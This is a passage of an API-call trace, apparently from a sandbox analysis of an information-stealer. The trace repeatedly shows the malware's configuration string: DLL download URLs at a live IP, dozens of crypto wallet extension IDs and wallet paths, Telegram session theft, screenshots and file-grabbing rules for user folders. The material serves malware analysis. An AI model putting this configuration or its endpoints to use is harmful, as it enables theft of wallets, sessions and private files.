Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.204] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.204] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.204] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.204] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.205] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.205] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.205] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.205] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.205] 